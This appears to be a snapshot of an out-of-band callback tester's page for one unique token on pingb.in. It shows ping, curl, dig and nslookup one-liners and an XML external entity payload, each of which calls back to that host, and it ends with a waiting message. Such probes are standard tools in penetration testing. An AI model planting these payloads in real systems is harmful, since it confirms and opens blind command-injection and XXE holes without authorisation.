$ ping -c1 -p 006ebbf8851daa49f46c113e57bd9500 pingb.in
 
$ curl pingb.in/p/6ebbf8851daa49f46c113e57bd95
 
$ dig 6ebbf8851daa49f46c113e57bd95 @pingb.in
 
$ dig 6ebbf8851daa49f46c113e57bd95.ns.pingb.in
 
C:\> nslookup 6ebbf8851daa49f46c113e57bd95 pingb.in
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://pingb.in/p/6ebbf8851daa49f46c113e57bd95">]>
    <foo>&xxe;</foo>
 
Waiting for ping...